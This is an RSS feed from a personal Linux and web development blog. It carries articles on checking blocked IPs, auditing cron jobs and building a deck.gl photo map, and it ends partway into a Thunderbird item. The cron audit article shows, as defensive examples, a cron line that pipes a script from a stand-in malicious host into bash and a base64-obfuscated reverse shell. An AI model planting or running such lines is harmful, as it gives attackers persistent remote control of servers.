<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel><title>Geeklog RSS Feed from geeksta.net</title>
    <link>https://geeksta.net/geeklog/rss.xml</link>
    <description></description>
    <lastBuildDate>Wed, 29 May 2024 23:14:45 </lastBuildDate>
    <generator>Logya</generator>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <item>
        <title><![CDATA[How to Check if an IP Address is Blocked on Linux]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/how-to-check-if-an-ip-address-is-blocked-on-linux/]]></link>
        <description><![CDATA[<p>Learn how to check if an IP address is blocked on Linux using iptables, nftables, firewalld, Fail2Ban, and other security tools with practical examples.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/how-to-check-if-an-ip-address-is-blocked-on-linux/]]></guid>
        <pubDate>Sat, 11 Apr 2026 23:35:32 </pubDate>
        <content:encoded><![CDATA[
        <p>When troubleshooting network connectivity issues or managing server security, you may need to verify whether a specific IP address is being blocked by your Linux server. This guide covers the most common methods to check for IP blocks across different firewall and security tools.</p>
<h2 id="checking-iptables-rules">Checking iptables Rules</h2>
<p>If your server uses iptables as its firewall, you can search for the IP address in the firewall rules:</p>
<pre><code class="language-bash"># Search all chains for a specific IP
sudo iptables -L -n -v | grep 203.0.113.50

# Check the INPUT chain specifically
sudo iptables -L INPUT -n -v | grep 203.0.113.50

# List all rules in a more parseable format
sudo iptables -S | grep 203.0.113.50
</code></pre>
<p>The <code>-n</code> flag shows numeric addresses without DNS resolution, <code>-v</code> provides verbose output with packet counts, and <code>-S</code> displays rules in a format similar to how they were added.</p>
<h2 id="checking-nftables-rules">Checking nftables Rules</h2>
<p>For systems using nftables (the successor to iptables):</p>
<pre><code class="language-bash"># List entire ruleset and search for IP
sudo nft list ruleset | grep 203.0.113.50
</code></pre>
<h2 id="checking-firewalld">Checking firewalld</h2>
<p>If you're using firewalld (common on RHEL/CentOS/Fedora):</p>
<pre><code class="language-bash"># Check all firewall rules
sudo firewall-cmd --list-all | grep 203.0.113.50

# Check rich rules specifically
sudo firewall-cmd --list-rich-rules | grep 203.0.113.50

# Check direct rules
sudo firewall-cmd --direct --get-all-rules | grep 203.0.113.50
</code></pre>
<h2 id="checking-fail2ban">Checking Fail2Ban</h2>
<p>Fail2Ban automatically blocks IPs after repeated failed login attempts. To check if an IP is banned:</p>
<pre><code class="language-bash"># See all active jails
sudo fail2ban-client status

# Check a specific jail (e.g., sshd)
sudo fail2ban-client status sshd

# Search for a specific IP in a jail
sudo fail2ban-client status sshd | grep 203.0.113.50

# Get all banned IPs (Fail2Ban 0.11+)
sudo fail2ban-client banned
</code></pre>
<p>To unban an IP from Fail2Ban:</p>
<pre><code class="language-bash">sudo fail2ban-client set sshd unbanip 203.0.113.50
</code></pre>
<h2 id="checking-tcp-wrappers">Checking TCP Wrappers</h2>
<p>Older systems may use TCP Wrappers for access control:</p>
<pre><code class="language-bash"># Check hosts.deny
grep 203.0.113.50 /etc/hosts.deny

# Check hosts.allow
grep 203.0.113.50 /etc/hosts.allow
</code></pre>
<h2 id="checking-csf-configserver-security-firewall">Checking CSF (ConfigServer Security &amp; Firewall)</h2>
<p>If you're running CSF:</p>
<pre><code class="language-bash"># Check if an IP is blocked
sudo csf -g 203.0.113.50

# Search the deny list
grep 203.0.113.50 /etc/csf/csf.deny

# Search temporary blocks
grep 203.0.113.50 /var/lib/csf/csf.tempban
</code></pre>
<h2 id="testing-connectivity">Testing Connectivity</h2>
<p>To verify whether an IP can actually connect to your server, test from the client side:</p>
<pre><code class="language-bash"># Test a specific port with netcat
nc -zv yourserver.com 22

# Test with telnet
telnet yourserver.com 22

# Test HTTP/HTTPS
curl -v http://yourserver.com
</code></pre>
<p>If the connection times out or is refused immediately, the IP may be blocked.</p>
<h2 id="checking-system-logs">Checking System Logs</h2>
<p>Don't forget to check your system logs for blocking events:</p>
<pre><code class="language-bash"># Check firewall logs (location varies by distribution)
sudo grep &quot;203.0.113.50&quot; /var/log/syslog
sudo grep &quot;203.0.113.50&quot; /var/log/messages

# Check kernel logs for dropped packets
sudo dmesg | grep &quot;203.0.113.50&quot;

# For systemd-based systems
sudo journalctl | grep &quot;203.0.113.50&quot;
</code></pre>
<h2 id="quick-reference-table">Quick Reference Table</h2>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Check Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>iptables</td>
<td><code>sudo iptables -L -n -v \| grep &lt;IP&gt;</code></td>
</tr>
<tr>
<td>nftables</td>
<td><code>sudo nft list ruleset \| grep &lt;IP&gt;</code></td>
</tr>
<tr>
<td>firewalld</td>
<td><code>sudo firewall-cmd --list-all \| grep &lt;IP&gt;</code></td>
</tr>
<tr>
<td>Fail2Ban</td>
<td><code>sudo fail2ban-client status &lt;jail&gt;</code></td>
</tr>
<tr>
<td>TCP Wrappers</td>
<td><code>grep &lt;IP&gt; /etc/hosts.deny</code></td>
</tr>
<tr>
<td>CSF</td>
<td><code>sudo csf -g &lt;IP&gt;</code></td>
</tr>
</tbody>
</table>
<h2 id="conclusion">Conclusion</h2>
<p>The method you use depends on your server's security configuration. Most modern Linux distributions use either iptables/nftables or firewalld as their primary firewall, often combined with Fail2Ban for intrusion prevention. Start by identifying which firewall system your server uses, then apply the appropriate commands from this guide.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[How to Inspect All Cron Jobs on a Linux System: A Sysadmin's Guide]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/how-to-inspect-all-cron-jobs-on-a-linux-system/]]></link>
        <description><![CDATA[<p>Learn how to inspect and audit cron jobs on Linux systems, identify suspicious tasks, and follow best practices to keep your scheduled tasks secure and efficient.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/how-to-inspect-all-cron-jobs-on-a-linux-system/]]></guid>
        <pubDate>Tue, 10 Feb 2026 19:28:05 </pubDate>
        <content:encoded><![CDATA[
        <p>Cron is one of the most fundamental tools in a Linux sysadmin's toolkit. It powers everything from nightly database backups to certificate renewals, log rotations, and application health checks. Once scheduled, cron jobs run silently in the background, which is both their strength and their risk.</p>
<p>Because cron jobs run unattended, they are easy to overlook. Over time, a server accumulates scheduled tasks added by different users, applications, and installers. Without periodic audits, it becomes impossible to know exactly what is running on your system, when, and as whom.</p>
<p>This guide will teach you where cron jobs live on a Linux system, how to inspect them for all users at once, what normal cron jobs look like, and what suspicious ones look like. By the end, you will have a repeatable process for auditing scheduled tasks on any Linux server.</p>
<h2 id="a-quick-cron-refresher">A Quick Cron Refresher</h2>
<h3 id="how-cron-works">How Cron Works</h3>
<p>Cron is a time-based job scheduler. The <code>crond</code> daemon runs continuously in the background and wakes up every minute to check whether any scheduled task is due to run. Jobs are defined in crontab files, which are plain text files that include a schedule and a command.</p>
<p>There are two types of crontabs: user crontabs (personal to each system user) and system crontabs (owned by root or placed in dedicated directories by applications). Both are checked by the same <code>crond</code> daemon.</p>
<h3 id="cron-schedule-syntax">Cron Schedule Syntax</h3>
<p>Every cron job starts with five fields that define when the job should run, followed by the command itself:</p>
<pre><code class="language-txt">* * * * *  command
│ │ │ │ │
│ │ │ │ └─ Day of week (0–7, Sunday = 0 or 7)
│ │ │ └─── Month (1–12)
│ │ └───── Day of month (1–31)
│ └─────── Hour (0–23)
└───────── Minute (0–59)
</code></pre>
<p>An asterisk <code>*</code> in any field means "every" — every minute, every hour, and so on. Commas let you specify multiple values (<code>1,15,30</code>). Hyphens define ranges (<code>1-5</code> for Monday through Friday). A forward slash defines a step (<code>*/15</code> means every 15 minutes).</p>
<p>For example:</p>
<pre><code class="language-bash"># Run at 2:30 AM every day
30 2 * * * /usr/local/bin/backup.sh

# Run every 15 minutes
*/15 * * * * /usr/local/bin/healthcheck.sh

# Run at noon on the first of every month
0 12 1 * * /usr/local/bin/monthly-report.sh
</code></pre>
<h3 id="special-time-strings">Special Time Strings</h3>
<p>Cron also supports shorthand strings as an alternative to the five-field syntax:</p>
<table>
<thead>
<tr>
<th>String</th>
<th>Equivalent</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>@reboot</code></td>
<td>—</td>
<td>Run once at system startup</td>
</tr>
<tr>
<td><code>@hourly</code></td>
<td><code>0 * * * *</code></td>
<td>Run once per hour</td>
</tr>
<tr>
<td><code>@daily</code></td>
<td><code>0 0 * * *</code></td>
<td>Run once per day at midnight</td>
</tr>
<tr>
<td><code>@weekly</code></td>
<td><code>0 0 * * 0</code></td>
<td>Run once per week on Sunday</td>
</tr>
<tr>
<td><code>@monthly</code></td>
<td><code>0 0 1 * *</code></td>
<td>Run once per month on the first</td>
</tr>
<tr>
<td><code>@yearly</code></td>
<td><code>0 0 1 1 *</code></td>
<td>Run once per year on January 1st</td>
</tr>
</tbody>
</table>
<h2 id="common-real-world-cron-job-examples">Common Real-World Cron Job Examples</h2>
<p>Understanding what legitimate cron jobs look like makes it much easier to spot unusual or suspicious ones. Here are the most common categories of scheduled tasks you will encounter in production environments.</p>
<h3 id="backups">Backups</h3>
<p>Backups are among the most important scheduled tasks on any server. Common examples include nightly database dumps, syncing files to remote storage, and archiving log files.</p>
<pre><code class="language-bash"># Dump MySQL database nightly at 1 AM
0 1 * * * root mysqldump -u root mydb &gt; /backups/mydb_$(date +\%F).sql
</code></pre>
<h3 id="log-rotation-and-cleanup">Log Rotation and Cleanup</h3>
<p>Log files can consume enormous amounts of disk space if left unchecked. Cron jobs are used to rotate logs, compress old ones, and purge entries beyond a certain age. On most systems, <code>logrotate</code> is itself invoked by a daily cron job.</p>
<pre><code class="language-bash"># Logrotate runs as a daily cron job on most systems (/etc/cron.daily/logrotate)
/usr/sbin/logrotate /etc/logrotate.conf

# Delete temp files older than 7 days
0 3 * * * root find /tmp -mtime +7 -delete
</code></pre>
<h3 id="tls-certificate-renewal">TLS Certificate Renewal</h3>
<p>Let's Encrypt certificates expire every 90 days. Certbot installs a cron job or systemd timer to handle renewal automatically. If installed via a package manager, you will typically find it in <code>/etc/cron.d/</code> or <code>/etc/cron.daily/</code>.</p>
<pre><code class="language-bash"># Certbot renewal check twice daily (common pattern)
0 */12 * * * root certbot renew --quiet
</code></pre>
<h3 id="system-updates">System Updates</h3>
<p>Some organizations configure servers to apply security updates automatically on a schedule, reducing the window of exposure from known vulnerabilities.</p>
<pre><code class="language-bash"># Apply security updates weekly (Debian/Ubuntu)
0 4 * * 0 root apt-get update &amp;&amp; apt-get -y upgrade

# Run yum-cron for automatic updates (RHEL/CentOS)
0 0 * * * root /usr/sbin/yum-cron
</code></pre>
<h3 id="monitoring-and-health-checks">Monitoring and Health Checks</h3>
<p>Cron is often used to run lightweight monitoring checks that send an alert or write to a log if something is amiss. Disk usage checks, ping tests, and process monitoring are common examples.</p>
<pre><code class="language-bash"># Alert if disk usage exceeds 90%
*/10 * * * * root df -h | awk '$5 &gt; 90 {print}' | mail -s 'Disk Warning' admin@example.com

# Check that Apache is running every 5 minutes, restart if not
*/5 * * * * root pgrep apache2 || systemctl restart apache2
</code></pre>
<h3 id="application-maintenance">Application Maintenance</h3>
<p>Applications often install their own cron jobs as part of their package setup. These jobs handle tasks such as cleaning up PHP sessions, scrubbing filesystems, and restarting internal services. For instance, CloudPanel installs daily jobs to restart <code>rsyslog</code> and its own agent service as part of regular housekeeping for a hosting control panel.</p>
<pre><code class="language-bash"># Clean PHP sessions twice per hour
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] &amp;&amp; /usr/lib/php/sessionclean

# CloudPanel: restart logging service nightly
5 0 * * * clp /usr/bin/sudo /etc/init.d/rsyslog restart &amp;&gt; /dev/null

# CloudPanel: restart agent service
15 2 * * * clp /usr/bin/sudo /usr/bin/systemctl restart clp-agent &amp;&gt; /dev/null
</code></pre>
<h2 id="where-cron-jobs-live-on-a-linux-system">Where Cron Jobs Live on a Linux System</h2>
<p>Cron jobs can be defined in several different places. A thorough audit requires checking all of them.</p>
<table>
<thead>
<tr>
<th>Location</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/etc/crontab</code></td>
<td>Main system crontab</td>
</tr>
<tr>
<td><code>/etc/cron.d/</code></td>
<td>Application-specific cron files</td>
</tr>
<tr>
<td><code>/etc/cron.hourly/</code></td>
<td>Scripts run every hour</td>
</tr>
<tr>
<td><code>/etc/cron.daily/</code></td>
<td>Scripts run every day</td>
</tr>
<tr>
<td><code>/etc/cron.weekly/</code></td>
<td>Scripts run every week</td>
</tr>
<tr>
<td><code>/etc/cron.monthly/</code></td>
<td>Scripts run every month</td>
</tr>
<tr>
<td><code>/var/spool/cron/crontabs/</code></td>
<td>User crontabs (Debian/Ubuntu)</td>
</tr>
<tr>
<td><code>/var/spool/cron/</code></td>
<td>User crontabs (RHEL/CentOS)</td>
</tr>
</tbody>
</table>
<h3 id="etccrontab">/etc/crontab</h3>
<p>The main system-wide crontab. Unlike user crontabs, entries here include an additional field specifying which user the command runs as. You can view it with <code>cat /etc/crontab</code>.</p>
<h3 id="etccrond">/etc/cron.d/</h3>
<p>Applications that need to install their own cron schedules drop files here rather than modifying the main crontab. Each file follows the same format as <code>/etc/crontab</code>. This is commonly where you will find jobs from packages like <code>sysstat</code>, <code>certbot</code>, and hosting control panels.</p>
<h3 id="etccrondaily-cronhourly-cronweekly-cronmonthly">/etc/cron.daily/, cron.hourly/, cron.weekly/, cron.monthly/</h3>
<p>These directories contain plain shell scripts (not crontab format) that are executed on the corresponding schedule. The timing is determined by entries in <code>/etc/crontab</code> or by the <code>anacron</code> service. List their contents with:</p>
<pre><code class="language-bash">ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
</code></pre>
<h3 id="varspoolcron">/var/spool/cron/</h3>
<p>User crontabs are created by individual users via <code>crontab -e</code> and stored here, in files named after each user. On Debian and Ubuntu the subdirectory is called <code>crontabs</code>; on Red Hat-based systems the files sit directly in <code>/var/spool/cron/</code>. As root you can read any of them directly.</p>
<h2 id="how-to-inspect-cron-jobs">How to Inspect Cron Jobs</h2>
<h3 id="your-own-crontab">Your Own Crontab</h3>
<p>View your own user's crontab with:</p>
<pre><code class="language-bash">crontab -l
</code></pre>
<p>If you have no cron jobs set up, this will print <code>no crontab for &lt;username&gt;</code>.</p>
<h3 id="a-specific-users-crontab">A Specific User's Crontab</h3>
<p>As root, inspect any individual user's crontab using the <code>-u</code> flag:</p>
<pre><code class="language-bash">crontab -u username -l
</code></pre>
<h3 id="all-users-at-once">All Users at Once</h3>
<p>The most thorough approach is to loop through every user on the system and print their crontab. The following one-liner reads all usernames from <code>/etc/passwd</code> and queries each one:</p>
<pre><code class="language-bash">for user in $(cut -f1 -d: /etc/passwd); do
    echo &quot;=== Crontab for $user ===&quot;
    crontab -u $user -l 2&gt;/dev/null
done
</code></pre>
<p>The <code>2&gt;/dev/null</code> suppresses the "no crontab for this user" messages, keeping the output clean. Only users with actual cron jobs will produce output beyond the header line.</p>
<h3 id="system-cron-files">System Cron Files</h3>
<p>Check all system-level cron configuration in one pass:</p>
<pre><code class="language-bash"># View the main system crontab
cat /etc/crontab

# View all files in cron.d
cat /etc/cron.d/*

# List scripts in the schedule directories
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
</code></pre>
<h3 id="directly-inspect-the-spool-directory">Directly Inspect the Spool Directory</h3>
<p>You can also read user crontabs directly from the spool directory as root, which is useful for scripting and automation:</p>
<pre><code class="language-bash"># Debian/Ubuntu
grep -r . /var/spool/cron/crontabs/ 2&gt;/dev/null

# RHEL/CentOS
grep -r . /var/spool/cron/ 2&gt;/dev/null
</code></pre>
<h3 id="check-running-cron-processes">Check Running Cron Processes</h3>
<p>To verify the cron daemon is active and see any currently running cron processes:</p>
<pre><code class="language-bash"># Check daemon status
systemctl status cron       # Debian/Ubuntu
systemctl status crond      # RHEL/CentOS

# List running cron processes
ps aux | grep cron
</code></pre>
<h3 id="view-cron-logs">View Cron Logs</h3>
<p>Cron logs reveal what has already run, including errors and timing. Check the relevant log file for your distribution:</p>
<pre><code class="language-bash"># Debian/Ubuntu: cron entries in syslog
grep CRON /var/log/syslog | tail -50

# RHEL/CentOS: dedicated cron log
tail -50 /var/log/cron

# systemd-based systems: use journalctl
journalctl -u cron --since today
journalctl -u crond --since today
</code></pre>
<blockquote>
<p><strong>Tip:</strong> If a cron job is failing silently, the logs are usually the first place to look. An error in the logs combined with an unexpected system state (missing files, full disk) can quickly reveal the culprit.</p>
</blockquote>
<h2 id="a-note-on-systemd-timers">A Note on Systemd Timers</h2>
<p>On modern Linux distributions, systemd timers are increasingly used as an alternative or complement to cron. They provide more precise scheduling, dependency management, and built-in logging through the journal. Importantly, a job defined as a systemd timer will <strong>not</strong> appear in any crontab audit.</p>
<p>To see all systemd timers, including the next scheduled run time for each:</p>
<pre><code class="language-bash">systemctl list-timers --all
</code></pre>
<p>If you find timers you do not recognize, investigate the associated service unit:</p>
<pre><code class="language-bash"># Show the timer definition
systemctl cat my-timer.timer

# Show what service the timer activates
systemctl cat my-timer.service
</code></pre>
<p>On many Debian and Ubuntu servers, you might find that certain tasks you would expect to be cron jobs, like <code>apt</code> daily updates and <code>e2fsck</code> scrubbing, have been moved to systemd timers. For this reason, it's important to include both cron and systemd in any full audit of scheduled tasks.</p>
<h2 id="security-considerations">Security Considerations</h2>
<h3 id="why-attackers-love-cron">Why Attackers Love Cron</h3>
<p>Cron is a favorite tool for attackers seeking persistence. Once they have gained access to a system, planting a cron job ensures they retain that access even if the initial vulnerability is patched, the compromised process is restarted, or the system is rebooted. A well-hidden cron job can persist for months without detection.</p>
<h3 id="what-suspicious-cron-jobs-look-like">What Suspicious Cron Jobs Look Like</h3>
<p>When auditing cron jobs after a suspected compromise, look for any of the following red flags:</p>
<ul>
<li>Commands that download files from the internet, especially <code>curl</code> or <code>wget</code> piped directly to <code>bash</code></li>
<li>Commands that connect back to an unusual IP address or domain (reverse shells)</li>
<li>Base64-encoded commands, which are used to obfuscate payloads</li>
<li>Jobs that write to unexpected locations, especially <code>/tmp</code>, <code>/dev/shm</code>, or hidden directories</li>
<li>Jobs running as root that were not placed there by a known package</li>
<li>Jobs that modify <code>/etc/passwd</code>, <code>/etc/shadow</code>, or SSH <code>authorized_keys</code> files</li>
<li>Cron job names designed to blend in with legitimate system tasks</li>
</ul>
<p>A particularly common attacker pattern looks like this:</p>
<pre><code class="language-bash"># Classic cryptominer persistence via cron
*/5 * * * * root curl -s http://malicious.example.com/update.sh | bash

# Obfuscated reverse shell
*/10 * * * * nobody echo YmFzaCAtaSA+Ji9kZXYvdGNw... | base64 -d | bash
</code></pre>
<h3 id="best-practices">Best Practices</h3>
<p>Following a few simple principles can significantly reduce your risk surface around cron:</p>
<ul>
<li><strong>Principle of least privilege:</strong> Cron jobs should run as the least privileged user possible. Avoid running jobs as root unless absolutely necessary. Use dedicated service accounts with restricted permissions for specific tasks.</li>
<li><strong>Log cron output:</strong> Redirect stdout and stderr to a log file rather than discarding output. Silent failures are harder to detect, and logs can help debug unexpected issues.</li>
<li><strong>Periodic audits:</strong> Schedule a regular review of all cron jobs as part of your security routine, not just after incidents. Include both user and system crontabs and ensure no unauthorized entries exist.</li>
<li><strong>Version control:</strong> Keep a copy of known-good cron configurations in source control so you can diff against what is currently on the server. This helps you quickly identify unwanted changes.</li>
<li><strong>Monitor for changes:</strong> Use tools like <code>auditd</code> or similar file integrity monitoring systems to alert you when crontab files are modified. Monitoring <code>/var/spool/cron/</code>, <code>/etc/crontab</code>, and <code>/etc/cron.d/</code> for alterations can provide early warnings of unauthorized additions.</li>
<li><strong>Restrict user access:</strong> Control who can create cron jobs by using <code>/etc/cron.allow</code> and <code>/etc/cron.deny</code>. Only users with a legitimate need for scheduled tasks should be permitted to create them. Keeping this list concise limits your system's attack surface.</li>
<li><strong>Validate scripts before scheduling:</strong> Run and review scripts manually before automating them in cron to ensure they work as intended and do not introduce unintended security vulnerabilities.</li>
<li><strong>Balance output redirection:</strong> Log cron job output where possible, but ensure sensitive systems like production servers aren't overwhelmed by excessive log noise. For jobs where reliability is proven, you may discard output selectively using <code>&gt; /dev/null 2&gt;&amp;1</code>. However, even in these cases, ensure failure alerts are captured elsewhere.</li>
<li><strong>Check for systemd timers:</strong> Include systemd timers in any full audit. They are increasingly used as an alternative to cron jobs and must be inspected to identify scheduled system tasks. Use <code>systemctl list-timers --all</code> regularly.</li>
<li><strong>Time-zone awareness:</strong> Be mindful of time zones when scheduling cron jobs, especially on systems that might operate in multiple regions or adjust for daylight savings. Server configurations running in UTC time can help standardize schedules.</li>
</ul>
<pre><code class="language-bash"># Good practice: log cron output to a file
0 2 * * * root /usr/local/bin/backup.sh &gt;&gt; /var/log/backup.log 2&gt;&amp;1

# Discard output only when you are certain the job is reliable
0 3 * * * root /usr/local/bin/cleanup.sh &gt; /dev/null 2&gt;&amp;1
</code></pre>
<p>By combining these practices into your workflow, you can greatly enhance the reliability and security of your scheduled tasks. Make auditing and maintaining cron jobs a regular routine alongside other system maintenance tasks.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Cron jobs are an essential aspect of Linux system administration, but their silent, automated nature often makes them easy to forget. Over time, a server that has been running for years can gather dozens of scheduled tasks from various users, packages, and installers. Some of these tasks might no longer be necessary, while others might even pose a risk.</p>
<p>Here is a quick-reference audit checklist you can run on any server:</p>
<pre><code class="language-bash"># 1. Check all user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
    echo &quot;=== $user ===&quot;
    crontab -u $user -l 2&gt;/dev/null
done

# 2. Check system crontabs
cat /etc/crontab
cat /etc/cron.d/*

# 3. List cron script directories
ls -la /etc/cron.{daily,hourly,weekly,monthly}/

# 4. Read spool directly
grep -r . /var/spool/cron/crontabs/ 2&gt;/dev/null   # Debian/Ubuntu
grep -r . /var/spool/cron/ 2&gt;/dev/null             # RHEL/CentOS

# 5. Check systemd timers too
systemctl list-timers --all

# 6. Review recent cron log activity
grep CRON /var/log/syslog | tail -100
</code></pre>
<p>Make auditing your cron jobs a regular routine rather than a reactive measure when something goes wrong. Performing this audit quarterly or including it in your server onboarding checklist will provide a much clearer understanding of what your systems are doing, even during those early hours of the morning.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Building a 3D Elevation Photo Diary with deck.gl]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/building-a-3d-elevation-photo-diary/]]></link>
        <description><![CDATA[<p>How I turned GPS-tagged vacation photos into an interactive 3D journey through the terrain of Spain around Nerja.</p><img src="https://exploring-data.com/img/preview/elevation-diary-nerja.png" alt="Preview Image">]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/building-a-3d-elevation-photo-diary/]]></guid>
        <pubDate>Thu, 05 Feb 2026 12:50:16 </pubDate>
        <content:encoded><![CDATA[
        <p>During a recent two-week vacation in Nerja, Spain, I took hundreds of photos with my phone. Many of them captured GPS coordinates and altitude data. Instead of letting that metadata sit unused, I decided to build an interactive 3D visualization that plots each photo on the actual terrain where it was taken.</p>
<div class="flex-video widescreen">
    <iframe width="640" height="360" src="https://www.youtube.com/embed/6Ul_n-zxAv4" frameborder="0" allowfullscreen title="3D Elevation Photo Diary Demo"></iframe>
</div>
<p>Quick demo of <a href="https://exploring-data.com/map/3d/elevation-diary-nerja/">the interactive viewer</a></p>
<h2 id="the-concept">The Concept</h2>
<p>The idea was simple: create a chronological journey through my vacation photos, where each photo appears on a 3D terrain map at its location. As you navigate through the photos, the camera flies to each spot, showing the landscape in 3D.</p>
<h2 id="tech-stack">Tech Stack</h2>
<h3 id="deckgl-for-3d-visualization">deck.gl for 3D Visualization</h3>
<p>I chose deck.gl for rendering the 3D terrain and photo markers. It's a WebGL-powered framework that handles complex 3D visualizations with impressive performance. Two key layers made this possible:</p>
<p><strong>TerrainLayer</strong> - Renders the 3D elevation map using Terrarium-format tiles from AWS:</p>
<pre><code class="language-javascript">const terrain = new TerrainLayer({
    id: 'terrain',
    elevationData: 'https://s3.amazonaws.com/elevation-tiles-prod/terrarium/{z}/{x}/{y}.png',
    texture: 'https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}',
    ...
});
</code></pre>
<p><strong>ScatterplotLayer</strong> - Displays photo locations as 3D points on the terrain. I used two layers: one for visited photos (gray, smaller) and one for the current photo (orange, larger).</p>
<h3 id="data-processing">Data Processing</h3>
<p>The photos' EXIF data provided latitude, longitude, altitude, and timestamps. I extracted this into a CSV file with entries sorted chronologically:</p>
<pre><code class="language-csv">filestem,latitude,longitude,altitude,timestamp
IMG_20260106_132810881,36.78705,-3.883663888888889,197.6,2026:01:06 13:28:12
...
</code></pre>
<h2 id="key-features">Key Features</h2>
<h3 id="smooth-camera-transitions">Smooth Camera Transitions</h3>
<p>When navigating between photos, the camera smoothly flies to the new location using deck.gl's <code>FlyToInterpolator</code>:</p>
<pre><code class="language-javascript">deckInstance.setProps({
    initialViewState: {
        longitude: currentPhoto.longitude,
        latitude: currentPhoto.latitude,
        zoom: 15,
        bearing: 180,
        pitch: 40,
        transitionDuration: 2000,
        transitionInterpolator: new deck.FlyToInterpolator()
    }
});
</code></pre>
<h3 id="progressive-trail-visualization">Progressive Trail Visualization</h3>
<p>As you move through the photos, previously visited locations remain visible in gray, creating a visual trail of your journey. The current photo is highlighted in orange.</p>
<h3 id="responsive-layout">Responsive Layout</h3>
<p>The interface adapts to different screen sizes:</p>
<ul>
<li><strong>Landscape:</strong> Map takes 60-70% of width, photo/controls on the right</li>
<li><strong>Portrait:</strong> Map takes 60% of height, photo/controls below</li>
</ul>
<pre><code class="language-css">@media (max-aspect-ratio: 1/1) {
    #app-container {
        flex-direction: column;
    }
    #map-container {
        flex: 0 0 60%;
    }
    ...
}
</code></pre>
<h3 id="keyboard-navigation">Keyboard Navigation</h3>
<p>Keyboard shortcuts for quick navigation:</p>
<ul>
<li>Arrow keys: Previous/Next photo</li>
<li>Home/End: First/Last photo</li>
<li>Spacebar: Play/Pause auto-advance</li>
</ul>
<h3 id="auto-play-journey">Auto-Play Journey</h3>
<p>A play button advances through photos automatically (3 seconds each), creating a cinematic journey through the vacation.</p>
<h2 id="challenges-solutions">Challenges &amp; Solutions</h2>
<h3 id="gps-altitude-accuracy">GPS Altitude Accuracy</h3>
<p>Phone GPS altitude data can be unreliable, especially near sea level. I added a note in the info modal about this limitation. In future versions, I might cross-reference with the terrain elevation data to improve accuracy.</p>
<h3 id="photo-loading-performance">Photo Loading Performance</h3>
<p>I selected 300 of the photos that had GPS data and created smaller web-optimized versions using <a href="https://github.com/yaph/wim">wim</a> to ensure quick loading without sacrificing too much quality.</p>
<h3 id="mobile-layout">Mobile Layout</h3>
<p>Getting the controls to fit on small portrait screens required careful tweaking of photo max-height and padding values. The final solution uses a compact info display (icons instead of labels) and reduced button spacing.</p>
<h2 id="what-i-learned">What I Learned</h2>
<ol>
<li><strong>deck.gl is powerful but has a learning curve</strong> - The layer system is elegant once you understand it, but proper coordinate handling and view state management took some experimentation.</li>
<li><strong>GPS metadata opens creative possibilities</strong> - This project barely scratches the surface of what's possible with GPS metadata from photos.</li>
<li><strong>Responsive 3D is tricky</strong> - Balancing the 3D visualization with UI controls across different screen sizes required more iteration than expected.</li>
<li><strong>Small touches matter</strong> - The smooth camera transitions, progressive trail effect, and keyboard shortcuts help make the experience more engaging.</li>
</ol>
<h2 id="try-it-yourself">Try It Yourself</h2>
<p><strong><a href="https://exploring-data.com/map/3d/elevation-diary-nerja/">View the live project →</a></strong></p>
<p>The project is built with vanilla JavaScript and deck.gl - no frameworks needed. If you have GPS-tagged photos from a trip, you could <a href="https://github.com/exploringdata/website/blob/main/src/js/map/elevation-diary-nerja.js">adapt this code</a> to create your own elevation diary.</p>
<p>Have you built something similar or have ideas for improvements? Drop a comment below!</p>
<hr />
<p><strong>Tech Used:</strong></p>
<ul>
<li><a href="https://deck.gl/">deck.gl</a> - 3D visualization</li>
<li><a href="https://github.com/yaph/wim">wim</a> - Image optimization</li>
<li><a href="https://registry.opendata.aws/terrain-tiles/">AWS Terrain Tiles</a> - Elevation data</li>
<li><a href="https://www.arcgis.com/home/item.html?id=10df2279f9684e4a9f6a7f08febac2a9">Esri World Imagery</a> - Satellite imagery</li>
</ul>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Thunderbird Keeps Threading Emails? Here's the Fix]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/thunderbird-keeps-threading-emails-here-s-the-fix/]]></link>
        <description><![CDATA[<p>Thunderbird keeps switching to threaded view? Learn how to adjust settings and repair folders to keep your view the way you want it.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/thunderbird-keeps-threading-emails-here-s-the-fix/]]></guid>
        <pubDate>Mon, 26 Jan 2026 20:49:16 </pubDate>
        <content:encoded><![CDATA[
